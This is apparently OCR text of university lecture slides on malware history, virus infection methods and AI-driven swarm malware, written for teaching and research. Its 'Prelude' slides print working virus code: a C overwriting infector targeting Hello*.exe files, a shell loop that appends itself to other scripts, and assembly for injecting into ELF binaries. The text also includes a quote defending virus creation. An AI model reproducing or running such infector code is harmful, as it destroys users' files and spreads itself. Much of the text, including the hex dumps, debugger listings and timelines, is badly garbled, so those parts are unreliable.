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Instructors

= |lvan Zelinka (ivanzelinka.eu) is Professor at the Technical University of
Ostrava, Faculty of Electrical Engineering and Computer Science and
national supercomputing centre IT4Innovations. He was/is supervisor,
co-supervisor and member of a numerous research grants, national and
international Ivan Zelinka is a member of the British Computer Society
and IEEE. Ivan Zelinka is also founder and editor in chief of the Springer
book series Emergence, Complexity and Computation. He is also head
of NAVY research group at VSB (navy.cs.vsb.cz)

= Roman Senkefik is an Associate Professor and Head of the A.l.Lab with
the Department of Informatics and Artificial Intelligence, and Leader of
Evolutionary computing research group at Tomas Bata University in Zlin.
He is the author of more than 40 journal papers, 250 conference papers,
and several book chapters as well as editorial notes. His research
interests are soft computing methods and their interdisciplinary
applications in optimization and cyber-security, development of
evolutionary algorithms, machine learning, data science, the theory of
chaos, and complex systems.
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In memoriam of Peter Szor
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Viruses don’t harm, ignorance does. Is ignorance a defense?

“I... ] I am convinced that computer viruses are not evil and that programmers have a right to create them, to
possess them and to experiment with them . . . truth seekers and wise men have been persecuted by powerful
idiots in every age . ..”

Mark A. Ludwig

Everyone has the right to freedom of opinion and expression; this
right includes freedom to hold opinions without interference and to
seek, receive and impart information and ideas through any media

and regardless of frontiers.
Article 19 of Universal Declaration of Human Rights

Speaking: Ivan Zelinka
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Course agenda

= |ntroduction

= Malware
= Al
= Swarm intelligence (SI)

= Malware — techniques and principles
= The todays role of the Al and Sl in malware and antimalware technologies

= The most advances malware — what we shall expect
= Al, Swarm intelligence and malware = X-ware
= Fusion and the main principles

= X-worm a real swarm malware
= Principles, behavior, communication via dark net, analysis

= Examples, Videos
= Future antimalware technologies — can we learn from X-Worm?
= Questions & Discussion

Speaking: lvan Zelinka

Tomas Bata University in Zlin
Faculty of Applied Informatics
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The most dangerous viruses

" Stuxnet, 2009-2010
An error is seen on a computer screen of Bushehr nuclear power plant's map in the Bushehr Port on the Persian Gulf, 1,000
kms south of Tehran,lran on February 25, 2009.

= 2008 air crash of Spanair MD-82 during take off in Madrid, 154 dead.

= The worst tragedy in Spain in last 25 yrs, one of the service computers system attacked by Trojan:

= Hernandez, José Antonio (20 August 2010). "El ordenador de Spanair que anotaba los fallos en los aviones tenia
virus" [The Spanair computer that wrote down the faults in the aircraft had a virus]. E/ Pais (in Spanish).

= Leyden, John (20 August 2010). "Trojan-ridden warning system implicated in Spanair crash”.
= "Malware implicated in fatal Spanair plane crash". TechNewsDaily. 20 August 2010.

Speaking: lvan Zelinka
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Cybernetic war

= "Crippling blackout hits tens of millions in South America".
www.cbsnews.com.

€he New York imes

Kremlin Warns of Cyberwar
After Report of U.S. Hacking

Into Russian Power Grid

Tomas Bata University in Zlin
Faculty of Applied Informatics

POWER BLACKOUT IN ARGENTINA, URUGUAY,
PARAGUAY AND BRAZIL; IS THIS THE BIGGEST
CYBERATTACK EVER?

Share this...

00DOOO®

A massive blackout left millions of people without power in some South American countries, such
as Argentina, Uruguay and Paraguay, over the last weekend. Although the exact causes of the
incident are not yet known, network security experts and authorities consider it likely to be a
cyberattack; “there is still nothing confirmed, but we must not rule out any possibility”, Argentine

government officials said.

| SOUTH"*”**
: ME{RICA ELECTRIC

Speaking: Ivan Zelinka



VSB TECHNICAL | FACULTY OF ELECTRICAL DEPARTMENT Tomas Bata University in Zlin

|| || UNIVERSITY | ENGINEERING AND COMPUTER | OF COMPUTER Facultv of Apolied Inf .
OF OSTRAVA | SCIENCE SCIENCE aculty of Applied Informatics
Cybernetic threads
Web Pages Infected Today Types of Malware Found

The following is a list of the top 5 web-based threats that caused the
9 5 9 3 5 8 greatest number of global detections over the last 7 days.

Adware Generic
1,849,417 Attacks

Trojan horse Generic
1,196,190 Attacks

Top 5 Countries Hosting Infected Websites

Below are the top 5 countries hosting websites that caused the greatest
percentage of worldwide detections.

™N NN TTNTN

LNK/AutoRun
1,020,143 Attacks

19% 19% 15% 15% 15%
SHeu
251,102
Spain Mexico Argentina Malaysia Sweden

Speaking: lvan Zelinka
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A.l. and cybersecurity

= Deep fake videos /faces.

= Learning from Twitter, Instagram, FCB, emails... to mimic behaviour, moods, formal/informal communication
styles... (“It come from me, it sounds like me, it talks about the things we usually talk about. | expect they'd
open it”).

= We should not “sleep” with misconception: ”If | was an attacker, why would | develop a deep learning system
like Google/MIT are building when | can send 10,000 emails and have one person click on them?”

= Near Future: It's still possible that like any legitimate organisation, hacking gangs will look to exploit machine
learning and artificial intelligence tools to augment their operations, if not replace their manual tasks. "Hackers
will always look for things to make their processes work smoother”

= => A.l. driven malware, viruses, Machine Learning powered cyberattacks...

Speaking: Roman Senkerik
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Cyberthreads the cybersecurity landscape

Speaking: lvan Zelinka
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Understanding the cybersecurity landscape

Spy and War Landscape

Speaking: lvan Zelinka
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Understanding the cybersecurity landscape
Digital attack map

Exploring the Data THjIL?EATCL’;’l_JD LIVE CYBER ATTACK THREAT M A P Gheck Point
https://threatmap.checkpoint.com/

ThreatPortal/livemap.html LEARN ABOUT CHECK POINT
THREAT PREVENTION SOLUTIONS

Vv TOP TARGET COUNTRIES

Vv TOP ATTACKING COUNTRIES

13:48:24 MALWARE-URL.bpqyj China United Kingdom
13:48:24 Compromisedsite.cw Finland Mexico
13:48:23 REP.huvcru France TX,USA

Speaking: Ivan Zelinka
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Understanding the cybersecurity candscape
Cyber attack maps — Kaspersky lab

» Kaspersky (https://cybermap.kaspersky.com/#)

* Cyberthreat real-time map by Kaspersky shows you the real-time attack detected by their various source system.

CYBERTHREAT REAL-TIME MAP

* On-Scanner access
* On Demand Scanner -

* Web Anti-virus

* Mail Anti-virus

* Intrusion Detection System
* Vulnerability Scan

* Kaspersky Anti-spam

* Botnet Activity detection

* You can have data in table format under stats page.

Speaking: Ivan Zelinka
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Malware — history and basic principles

Speaking: lvan Zelinka
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Turing machine, finite automata: history

= John von Neumann, 29 states, 2D, 5 elements = 200,000 cells 1948 vision of replicating machines
= 1953 Watson and Crick, DNA 1968
= Cells with 8 states and the 5 elemental environment in 1980

= NASA / ASEE self-replicating robots on the Moon
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What a computer virus really is?

YMYV (M, V)eV e [Vclet [MeMet
Vv eV [VHy [VtVjeN
[ 1. Par(t) = j et
2. $as(t) = $a7(0) et
3. (Dﬂ,;r(t,j), e ,DMr(t,j + ”U’ — 1)) = ’U]
= [F e V3 ", e Net t' >t
[ LG+ []) < 5] ou [(G + [v]) < 4]
2. (Op (47, ..., On(t, 5 + 1[0 —1)) =0 et
3. [Ft" tel que [t <t < '] et
(Py(t")ye g ... i + || —1]
I
for i in *.sh: do
if test 7./%i” = "$07; then
tail -n 5 $0 | cat >> $i ;
fi
done

Filiol, E., 2006. Computer viruses: from theory to applications. Springer Science & Business Media.
Speaking: lvan Zelinka
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What a computer virus really is?

VMYV (M,V)eV & [VClf]et [Me Met
Vv eV [VHy [VtVjeN
[ 1. Par(t) = j et
2. $as(t) = $a7(0) et
3. (Dﬂ,;r(t,j), - ,DMr(t,j + ”U’ — 1)) = ’U]
= (G e VI 1", j e Net t' >t
(1 [G7 + ) < 4] ou [+ Jol) < 7]
2. (Op (47, ..., On(t, 5 + 1[0 —1)) =0 et
3. [Ft" tel que [t <t < '] et
Py (") ed's i+ [ = 1]

]

| | Function F

time instant t

Tomas Bata University in Zlin
Faculty of Applied Informatics

| I Function F

time instant t*

Filiol, E., 2006. Computer viruses: from theory to applications. Springer Science & Business Media.

Speaking: lvan Zelinka
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Brief history of malware

= Follow ideas of A. M. Turing and J. von Neumann (Scientific
American, 1966 (1949), “Theory and Organization of Complicated
Automata,” a paper that postulates how a computer program
could reproduce itself.

= The Brain

Tomas Bata University in Zlin
Faculty of Applied Informatics

first polymorphic viruses: Chameleon: J
Ghostball J
Datacrime 1

—_—

FulManchu ]

‘n.-fs-:s-insJ

Yankes |
J

WANK Worm J

1.

First worm: Modris

AIDS Trojan |

Enorypted virus: Cascad EJ

JerusslemJ
_HI.EEJ
= 1950s, employees at Bell Labs gave life to von Neumann’s idea ;{“E""H_T
Stoned
when they created a game called “Core Wars.” In the game, —J]Lmh
programmers would unleash software “organisms” that competed K= | [Homwe]
for control of the computer. *ﬁ:ﬂ"ﬁ"“ ::::E]
-{ Eruriv—E- Dir _1I: link virus
Suriv-3 Olygomorphism .
- Old and modern malware 4:;:]5t Fmdl:z_{lFirstp:}lym:}rphicgenerst:}r MtE]
-4 Byte EEI‘Idit-]_ )
The Cresper Christmas T;.EE
The Rabbit viru&J_ H‘?E Brain Virus
H‘-F’Eﬁ'sding Animsl} “irus is re-coined by F. B. C:}hen]
I—{ThE:}ry of self-reproducing automata | Elk Cloner .-1 ‘n.-firDemJ "."'.I'hE|E]
| | [—— 1 | I | | | | | | | |
1870 1880 1880 2000

Speaking: lvan Zelinka

https://www.

lastline.com/blog/history-of-malware-its-evolution-and-impact/



https://www.lastline.com/blog/history-of-malware-its-evolution-and-impact/

VSB TECHNICAL | FACULTY OF ELECTRICAL DEPARTMENT Tomas Bata University in Zlin
||| UNIVERSITY | ENGINEERING AND COMPUTER | OF COMPUTER

OF OSTRAVA | SCIENCE SCIENCE Faculty of Applied Informatics

Brief history of malware

SMEG.Pathogen
SMEG . Queeg

Shifter

Phantom

A

SrcVir: infecting program source Dode]

First network worm using FTP: Hnmet]

A

JAPAIA

First ransomeware: Onehalf: ] —{Metarrmrphin virus:EimiIEJ

-

Leandrz Esperanto virus Beast trojan

Freddy Hrueger mIRC Worms -{Anna Fournikowva virua_]

AOL Trojans 4 ILOWEY DU Mylife worm
First Microsoft Access virus: Accessiy ] S0L Slammer
* Sadmind worm

First virus capable to erase flash ROM BIOS: CIH]

L
i

Strange

L S—

Shadowgard

Carb

[
=]
=
L]

Emmie -{First Windows25 virus: Win95.Boza ] -{E‘-ilcﬂm Worm

-{First virus for O5/2: GEZ.AEF"] Blaster worm

Bomber -{ First wirus for Microsoft Excel: Larcux ] -{ Code Red '-w:xm] Bagle worm

Uruguay First Macro virus: Concept 4 Happy2D \\'DI'B Sobig worm MyDoom worm

First memuly resident virus: Win25.Punch -{ Nimda worm
Michelangelo virus First Linuzx girus: Etan-,g] Explorefip -4 Klex worm

1998 1993 2000 z002 2004 z008

{HD

ﬂl
g
i

1992

;

Speaking: lvan Zelinka
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Brief history of malware

Waledac botnet

Psybdt worm

—w Hafecopy Trojan

Regin Trojan % Thanatos lEnE-D-I'I'I'-‘-'EIE]

Windigo Titanium APT

BASHLITE

-{Cr_-.rpt{:—L{:—l:kEl l MEMZ trojan ]
Il

-{ Fameover Zeus trojan ]

{M{}H‘I‘IE}C trojan 4 Li arllcz l FL iy TENSOMEewsrs J

inuz. O o
Straticn wmm] -{T{:\lpig trojan -{Flame-] -{Linux.Wifatl:h ] -{Meural Swarm Wutm]

-{ Tiny Banker Trojan ]

Mirai
] —

2006 2008 2010 2012 2014 2016 2018 2020

WannaCry

= Modern era of malware

= Al in defence
= Behavioral analysis

Swarm Virus

Zotob worm

Zlob Trojan

[
i

Brontok viru&]

Storm Worm l -{ Koobface worm

Zeus tn}jan] -{E{}nfidcer

Speaking: lvan Zelinka
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Brief history of malware
Trucng, T.C. Diep,.B.and Zelinka,|., 2020.
— Artificial Intelligence in the Cyber Domain: Cffense and Defense
Symmetry, 12{3),p.410
. Cong Truocng Thanh,Quoc Bao Diep,and Ivan Zelinka. 2020.
u Era Of malwa re W|th Al (?) = “Swarm intelligence in Cybersecurity” Swarm Intelligence:
From Social Bacteria to Human Beings. CRC Press
= Swarm virus predicted : ,
Amer E.and Zelinka,|., 2020.
H H H H — A dynamic Windows malware detection and prediction method based on
. Experlments Wlth Swarm Worm CombInEd Wlth ANN contextual understanding of APl call sequence. Computers & Security, 22,p. 101780
Trucng, T.C. . Zelinka,|.and Senkesik,R., 20159
— Neural Swarm Virus.In Swarm, Eveluticnary, and
fMemetic Computing and Fuzzy and Neural Computing {pp.122-134).Springer, Cham
Cong Truong Th.anh.an-::l Ivan Zelinka. 20159,
=4 “A survey on artificial intelligence in malware as next generation threats™
In the Mendel journal 2019 Brno,Czech Republic
Eslam Amer, lvan Zelinka.
—i “An Ensemble-Based Malware Detection Model Using Minimum Feature Set”.
accepted and will appear in Mendel Journal of soft computing, Vol. 25, No. 2, 2019

Zelinka,.,Das,5., Sikora, L. & Senkefik,R.(2018)
Swarm virus-Mext-generation virus and antivirus paradigm?
Swarm and Evolutionary Computation, 42, 207-224

2018
Speaking: lvan Zelinka

2019
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What a computer virus really is?

A virus can be described by a sequence of symbols which is able,
when interpreted in a suitable environment (a machine), to modify
other sequences of symbols in that environment by including a,
possibly evolved, copy of itself.

Speaking: lvan Zelinka
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Computer virus versus biological

Biological virus Computer virus
1. Viruses require infected cells to spread them. They can not 1. Viruses require infected files to spread them. They can not
auto-generate. auto-generate.
2. Viruses attack/infect specific cell types. 2. Viruses attack/infect specific file types.
3. Viruses modify the victim's genetic material in some way to 3. Viruses modify the victim's data/binary code in some way
make reproduction possible. to make reproduction possible.
4. Viruses take all or most of the control of their host cell. 4. Virus code is executed before passing control to the host.
5. Most viruses will not infect cells already infected by their 5. Most viruses will not infect files already infected by their
own strain. own strain.
6. Symptoms may not appear, or may be delayed from the 6. Symptoms may not appear, or may be delayed from the
time of initial infection. time of initial infection.
7. Viruses often mutate, making detection and disinfection 7. Viruses often contain mutating code, or other "safeguards”,
difficult. making detection and disinfection difficult.

8. Cells can be vaccinated against particular viruses. 8. Files can be protected against particular viruses.
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Virus structure

Yes

Start of

infection
Overwrite host

Read virus
file

Append virus to
host

No

Ye5~—‘ Infection }——» Payload |—

Speaking: lvan Zelinka
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Basic methods of infection

Transcript of the host : the host does not change the length , but destroy it .

VIEUS Program

Append to the host, extends the length of the host and retains its functionality
Jump on the beginning

y g %
— Program S

MP at th I f :
s GULUS Virus body

EOF — virus
beginning JMP redirection

Speaking: lvan Zelinka
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Prelude — virus body in C#

Speaking: lvan Zelinka

FACULTY OF ELECTRICAL
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DEPARTMENT
OF COMPUTER
SCIENCE

#include <io.h>
#include <iostream>

#pragma warning(disable:4996)

int a = 6;

unsigned long x, hst;

char buff[38400];

struct _finddata_t fileinfo;

10

1
2
3
4
5 FILE *virus, *host;
6
7
8
9

11 void main(int argc, char* argv[])

12 {
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 '}

X = 38400;
hst = findfirst("Hello*.exe", &fileinfo);
do
{
virus = fopen(argv[0], "rb");
host = fopen(fileinfo.name, "rb+");
printf("Infecting %s\n", fileinfo.name, a);
fread(buff, 38400, 1, virus);
fwrite(buff, 38400, 1, host);
a++;
fcloseall();
} while (_findnext(hst, &fileinfo) == 0);
printf("DONE! (Total Files Infected = %d)", a);
getchar();

Tomas Bata University in Zlin
Faculty of Applied Informatics
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Prelude — virus body in Assembler

mov eax, 5 ;sys_open
mov ebx, folder ; name of the folder

mov ecx, 0
mov edx, 0
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe error ; cannot open file. Exit with error status mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment)
cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ...
mov ebx, eax jne program_header_loop ; it's not PT_LOAD. look for next program header

mov eax, Oxdc ; sys_getdents64
mov ecx, buffer

mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
mov edx, len

int 80h cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment
je program_header_loop ; it's the text segment. We're interested in the data segment
mov eax, 6 ; close
int 80h mov ebx, dword [edi+2080+24] ; old entry point
push ebx ; save the old entry point

mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)

mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk)

add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
push ebx ; save the offset of our virus

mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)

add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz

Speaking: Ivan Zelinka



VSB TECHNICAL
”|” UNIVERSITY

OF OSTRAVA | SCIENCE

Prelude — virus body in Hex

http://www.fileformat.info/tool/hexdump.htm

Speaking: lvan Zelinka

FACULTY OF ELECTRICAL
ENGINEERING AND COMPUTER

file name:
mime type:

0000-0010:
0000-0020:
0000-0030:
0000-0040:
0000-0050:
0000-0060:
0000-0070:
0000-0080:
0000-0090:
0000-00a0:
0000-00ba:
0000-00co:
0000-00de:
0000 -00e0:
0000-00f0:
0000-0100:
0000-01109:
0000-0120:
0000-0130:
0000-0140:
0000-0150:
0000-0160:
00R0-0170:

0000-0180:
o000 -0100 -

DEPARTMENT
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SCIENCE

Virus93.exe

4d
b8
00
00
Qe
69
74
6d
ac
31
31
ca
4b
4b
00
13
@b
5a
00
06
00
00
00

00
oo

5a
0o
0o
0o
1f
73
20
6f
e’/
ed
ed
eb
e5
e5
0o
99
01
10
10
0o
0o
0o
0o

80
oo

90
00
00
00

20
62
64
87
ed
ec
ed
ec

(%1%
Be
Be
21
(%1%
(%1%
(%1%
10
(%1%

a2
oo

00-03
00-00
00-00
00-00
Pe-00
70-72
65-20
65-2e
fl-e8
a3-eb
a3-ff
a3-ec
a3-e9
a3-e9
00-00
5a-00
eb-00
00-00
00-00
00-00
00-03
00-00
00-00

00-3c
oo -00

00
00
00
00
b4
6f
72
ed
86
86
86
86
86
86
00
00
54
10
02
00
00
10
00

04
oo

(%1%
(%1%
(%1%
(%1%
09
67
75
ad
e9
e9
e9
e9
e9
e9
(%1%
(%1%
(%1%
(%1%
(%1%
(%1%
40
(%1%
(%1%

00
oo

00-04
00-40
00-00
00-00
cd-21
72-61
6e-20
Pa-24
a2-e8
a2-76
a2-31
a2-e8
a2-4b
a2-52
00-50
00-00
00-00
00-00
00-06
00-00
81-00
00-00
P0-dc

00-00
oo -00

]%]
]%]
]%]
]%]
b8
6d
69
]%]
86
26
ed
86
e5
69
45
]%]
8
10
]%]
ab
]%]
]%]
61

00
an

(%1%
(%1%
(%1%
(%1%
21
20
Ee
(%1%
e9
2e

ed
16
63
(5]%]
(5]%]
(5]%]
(5]%]
(5]%]
a2
10
(5]%]
a2

00
o2
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eo-ff
00-00
00-00
00-e8
4c-cd
63-61
20-44
00-00
a2-e8
a2-e9
a3-eb
a2-al
a2-e9
68-e8
0o-4c
00-e0
00-00
00-00
00-00
00-00
00-00
0o-10
00-50

00-00
oo - A

ff
00
00
00
21
6e
af
00
86
86
86
86
86
86
o1
00
00
00
00
o4
10
00
00

00
o2

00
00
00
00
54
6e
53
00
e9
e9
e9
e9
e9
e9
08
92
00
40
00

00
00
00

00
oo

00
00
00
00
68
6f
20
00
a2
a2
a2
a2
a2
a2
00
01
00
00
00
00
00
00
00

00
oo

MZ. . o ois e
........ @.......
........ l..L.!Th
is.progr am.canno
t.be.run .in.DOS.
mode.... $.......
1....... v&......
1....... 1.......
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Basic methods of infection - overwriting

The Overwriting Virus

Speaking: lvan ZelinK3
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Basic methods of infection - overwriting

Home Share View

» v 4 B > ThisPC » Local Disk (C) » Vir h

Name Type
» Quick access

Downloads * B text 1.0t Text Document

I text_2.txt Text Document

- Google Drive File Strear # ] i Aol
B Virus10Overwriting.exe Application

& OneDrive

8 Music

& This PC
" 3D Objects
1 Desktop
E Documents
Downloads
Music
B Pictures
& Videos
% Local Disk (C)
- Samsung 850 EVO (D:)
= SSD PLEXTOR (E:)
- HDD 883 GB (F)
= HDD 616 GB (G))

- NN 287 CR A

3 items | i

- o Type here to search e D eNne L
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Basic methods of infection - prepending

The Prepending Virus

Speaking: lvan ZelinK3
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Basic methods of infection - prepending

kHome Share View

v 4 B > ThisPC > Local Disk (C:) » Vir

Name Type
» Quick access

P IE Hello_Print_to_Screen.exe 5KB Application
y . Hello_vlc-3.0.6-win64.exe 40,867 KB Application

Downloads

- Google Drive File Strear # ) i s
IE Virus1.1Prepending.exe 9KB Application

& OneDrive

8 Music

& This PC
" 3D Objects
I Desktop
E Documents
Downloads
Music
B Pictures
& Videos
% Local Disk (C)
- Samsung 850 EVO (D:)
= SSD PLEXTOR (E:)
- HDD 883 GB (F)
= HDD 616 GB (G))

- NN 287 CR i

3 items | i

L o Type here to search i ] ® ) eng [

Speaking: Ivan ZelinKk3
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Artificial life, malware and other bugs

Boot, file attacking,

multipartite, macro, stealth,
polymorphic, ransomwares

I
—— Zarodky —L
all Programmer viruses ki

a Worms (Rabbit,
Octopus, Vors)

= Possible malware classification

Virus generator

Logical bombs

Trojan

Downloaders, dialers, chain letters,
adware, spyware, back door,,
phishing

Miscellaneous

B

scanner

)
[¢))
L .
>

e
O
>
| -

+—
%)
(eT0]
=

=
©

2

a
[¢D)
S

“
()
)
)

=

©
O
=

)
S—

<C
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Overview

= Malware is the main weapon of cyberattacks.

= Designed to disrupt and gain unauthorized access to
a computer system.

Botnet

= Types of malware: virus, worm, trojan, spyware,
adware, ransomware, rootkit, botnet...

Speaking: lvan Zelinka
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Delivery methods

N\
‘ Removable media

\

‘ E-mail attachments
\

‘ Drive-by downloads
l

‘ Social engineering
/

‘ Propagate in network

I

38
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Advanced malware

= Distributed, fault-tolerant architecture (esistance against deleting, malfunctioning, etc. — PCs, infect paths)
= Multifunctionality (based on CnC servers, variable functionality)

= Camouflage techniques
= Encryption (Encrypt the virus code)
= Oligomorphism (advanced form of the encryption, use multiple decryption routines)

= Polymorphism (using code encryption, a high number of a high number of mutant decryptors; changing its code
constantly)

= Metamorphism (mutate the body of virus, every copy has different structure, but virus’s behavior does not change)

39

Speaking: Ivan Zelinka
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Advanced malware

string a =

var d = "cz

= Obfuscation Techniques o = "t
= Junk/Dead Code Insertion string ¢ =
= Variable/Register substitution var b = "ps
= |nstruction replacement string ¢ =
= |nstruction permutation
= Code transposition

string f =

string patl

= Armoring techniques: :

= Anti-debugging (ensure that a malware is not running under a debugger)
= Anti-heuristics (using file parkers, using various Entry Point Obfuscation)

= Anti-goat (identifying goat files)

SCIENCE

array Max:
enter 0,0

mov eax, [ edx ]
mov edx, [ ebp + 8]

mov ecx, [ ebp + 12 ]

.back:
cmp eax, [ edx 4+ ecx * 4 — 4 ]
jg .skip
mov eax, [ edx 4+ ecx * 4 — 4 ]
.skip:

loop .back

= Anti-Virtual Machine (detect if run under a virtual environment)

Speaking: lvan Zelinka

Tomas Bata University in Zlin
Faculty of Applied Informatics

arrayMax:

enter 0,0

jmp .start
.continue:

mov ecx, [ ebp + 12 ]

.back:
cmp eax, [ edx + ecx * 4 — 4]
jg .skip
mov eax, [ edx 4+ ecx * 4 — 4 ]
.skip: C 4 el
loop .back

jmp .end

40
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Prelude — reverse engineering

The level of abstraction

Malware Author Malware Analyst
High-Level Language Low-Level Language
int c; push ebp
printf("Hello.\n"); mov ebp, esp
exit(0); sub esp, 0x40
CPU
Compiler Machine Code Disassembler
55
88 EC
8B EC 40

Szor, P., 2005. The Art of Computer Virus Research and Defense: ART COMP VIRUS RES DEFENSE. Pearson Education.

Speaking: lvan Zelinka
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Prelude - reverse engineering
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* OllyDbg - Virus03.exe

Eile

View Debug Trace Options

Windows Help
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Bj4x| »[+[n] w34 /U] L]E[M[T|C|.| B|MH]

[EEEE

BazE1591
23231393

ae2e1951
BEZE1957

cC

=13

4
S0BD_4BFFFFFF
ES 30860000
B8 teecceee

F4
ES 62FBFFFF
3 48R12800

A
8BF4

68 407BZB0A
S 04000008
CS o0

6B
8BEE eC

8BB40A

3BF4
ES 37FSFFFF
A3 3SA1zB0A
8BF4

68 447BZBOA
68 r4372C08
FF15 ?Cel2Caa
83C4 @8

BF4

ES 16FSFFFF
A3 3CAizeea
gé 48A12B00

68 74372C00
65 487B2B0A
ES 2?EEFFFF

23C4

SBF4
Al 38A12B0A
ce

6A a1

658 B0
68 S8R
FF15 7¢

SBEC
EéEC Congaaag

B372Ca8
658 307BzZB0A
88612CH8
C4 88

ca
FF15 7Ce12Ca8
83C4 98

INT3
Moy EBP,ESP

PUSH _EDI

LER EDI, CEBP-BCA]

Moy ECX, 38

MOV EAX, CCCCCCCC

REP STOS DWORD PTR ES:[EDI]
MOU DWORD PTR DS:[2BA1441, 9680
Moy ESI,

PUSH OFFSET @82C3758
PUSH OFFSET @@zBETB38
CALL DWORD PTR DS:[2C61881
AODD ESP,8

CHMP ESI,ESP

CALL @92B1136

MOY DWORD PTR DS:[2BA1481,ERRX
noyv EsI,ESP

PUSH OFFSET @8zZE7B48

Moy ERX, 4

IMUL ECK,ERX,@

Moy EDX, DWORD PTR SS: [EBP+8C]
Moy EAX, DWORD PTR DS: [ECR+EDK]
PUSH ERR

EEBL ODWORD PTR DS:C[2Ce17CI

CHMP ESI,ESP

CALL @92B1136

ngg EWDHD PTR DS:[2BAL1381,ERX
.

PUSH OFFSET @8zZE7B44

PUSH OFFSET B82C3774

CALL DWORD PTR DS:[2C617C1

AOD ESP, 8

CHP ESI,

CALL @92B1136

Moy DWORD PTR DS: [2BA13C1,EA

MoU EAX, DWORD PTR DS: [2BR140

PUSH ERR

PUSH OFFSET @82C3774

PUSH OFFSET @@2B7B4S

CALL @82B1361

AODD ESP,BC

Moy ESI,ESP

MOY ERX, DWORD PTR DS: [2BA1381

PUSH ERR

i
1

palzlalc] PUSH 2e@@
2Bag PUSH OFFSET BBZBR158
3612C08 | CALL DWORD PTR DS:[2C6178]

83C4 1

AOD ESP, 18

RSCII

RASCII

RASCII

RSCII

"He |l lo*, exne™

e

ey

"Infecting As@"

BESFFDS2|| 667 39008| .ES.
BB3FFDSC|| 77RA462A8| Abrw
IBFFD28|| CES77B1E| dpii F
SFFD94 || B08FFODC| m* A.
ISFFD98|L77B7OF 79| yemuw
ISFFDSC| roev39e0a| .es.
SFFDARG (| BCESBA1S| Ellh.
ISFFDA4 .
SFFDAS
SFFDAC 37396
SFFOBO
SFFDB4
SFFDBS
v SFFDEC

Gragonin

E
Uirus@3.002B81050
a Virus@3,8682B1850

4
Uirus@3.082B1085A0
BB2B165SA VirusA3.BA2B165A

0O2B165A Uirus@3.8082B105A

ES 9928 32bit B(FFFFFFFF)

it B(FFFFFFFF)
B FFFFFFFF)
B{FFFFFFFF)
73CE88(FFF)

1

a

8

3 GS @028 32bit @(FFFFFFFF)
a

EFL oooo0246

LastErr 0000006 ERROR_SUCCESS

(MO, NE, E, BE, NS, PE, GE, LE)

-o0
@

I
(GT)
1

RETURN to ntdll.77B78F79

5TA empty 8.0
ST1 empty 0.8
STZ2 empty 6.6
ST3 empty 0.0
ST4 empty 8.8
STS empty 0.0
STE empty 8.8
ST? empty 8.8
3218 ESPUDZ
FST 80083 Cond B B @ @ Err B0 068 6 0
FCW 827F Prec MERAR,S52 Mask 111
Last cmnd B660: BB0GBEEA
Pyl
®HMML
®HMz
®HH3
®HMH4
HMMS
®HMHe
HHM7
uoe
MXCSR @0081FS8 FZ @ DZ @ Err G ea
Rnd HERR Mask 111

L=
-
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Prelude — virus in ASM

DEPARTMENT
OF COMPUTER
SCIENCE

€] CPU - main thread, module Virus03

At L LA L L L R ] o L]

L))

DO RER2E

0O E 05 00EEE S 0SS S|

=S S S

5 S DD

L)

L L L L

57
80BD_4BFFFFFF
B9 200A0A00
B& CCCCCCCE

F3:RE

C7eS 44A1zB0G
SBF4

68 SB372C00

62 387BZB0Q
FF15 88612Ca8
33C4 @88

3BF4
E2 &2FSFFFF
A3 45R1z2B00
S8BF4

68 487BZBOG
B2 B4000000
6BCS @@
8B5S ac
SBO46R

sa
FF1S 7CelzCaa
33C4 88

3BF4
EE 3PFSFFFF
A2 38A12B00
SBF4

62 447BZEBOO
62 74372C00
FF1E 7Cel2Ca@
83C4 a8

E2 16FSFFFF
A3 3CA1zZEBG@0
Al 48A12B600

ca

68 74372C00
62 487BZBOO
E2 ZFFAFFFF
82C4 ac
SBF4

Al SS8A1zZBo0
sa

6R @1
62 BE%50000

ABZE 1 2S2F CcC INT2

Ba2B12968 PUSH EBP
B129 SBEC MOV EEBP,ESP

3 21EC Cos@oena | SUB ESP,BCa

| 53 PUSH EBX

A =3 PUSH ESI

PUSH EDI

LEA EDI, [EBP-BCA]

MOU ECK, 38

MOU ERR,CCCCCCCC

REF STOS DWORD PTR ES:CEDI]
MOY DWORD PTR DS:[2BR1441,9600
Mov ESI,ESP

PUSH OFFSET @@2C3750

PUSH OFFSET B@zE7ESG

CALL DWORD PTR DS:[2C6188]
ADD ESP, 2

CHMP ESI,ESP

CALL B82E1136

HSU DMORDSPTR DS: [2BA1481, ERX
PUSH OFFSET PB2B7B48

MOV ERX, 4

IMUL ECK,ERX,@

MOU EDX, DWORD PTR $S: [EBP+@C)
MOU EAX,DWORD PTR D3: [ECK+EDX]
PUSH ERR

CALL DWORD PTR DS:[2CE617C]
ADD ESP, 2

CHMP ESI,ESP

CALL B@2E1136

MOV DWORD PTR DS:[2BR1381,ERX
MOV ESI,ESP

PUSH OFFSET @@2B7B44

PUSH OFFSET BB2C2774

CALL DWORD PTR DS:[2CE17C]
ADD ESP, 2

CHP ESI,ESP

CALL BB2E1136

MOV DWORD PTR DS:[(2BA13C1,ERX
HDgHEEERDUORD PTR DS:[2BA148]

PU

PUSH OFFSET @@z2C2774

PUSH OFFSET BBZBYB48

CALL @8zE1361

AOD ESP BC

MOV E

HDU ERX.DMORD PTR DS:[2BA138]

PUSH l
PUSH 9688

2 &2 SBA1zBaa PUSH OFFSET B@zZBA15@
@ FF1S 786120088 | CALL DWORD PTR DS:[2C617E2]
HU;B[*Eﬂ 8§E4 16 ADD ESF, 18

ASCII

ASCII

ASCII

ASCII

"Hel lo#. exe™

L

L S

"Infecting %s@"

Speaking: lvan Zellnka

O 0 o wuv kW

=
= ®

12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
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#include <io.h>
#include <iostream>

#pragma warning(disable:4996)
FILE *virus, *host;

int a = 0;

unsigned long x, hst;

char buff[38460];

struct _finddata_t fileinfo;

void main(int argc, char* argv[])

{
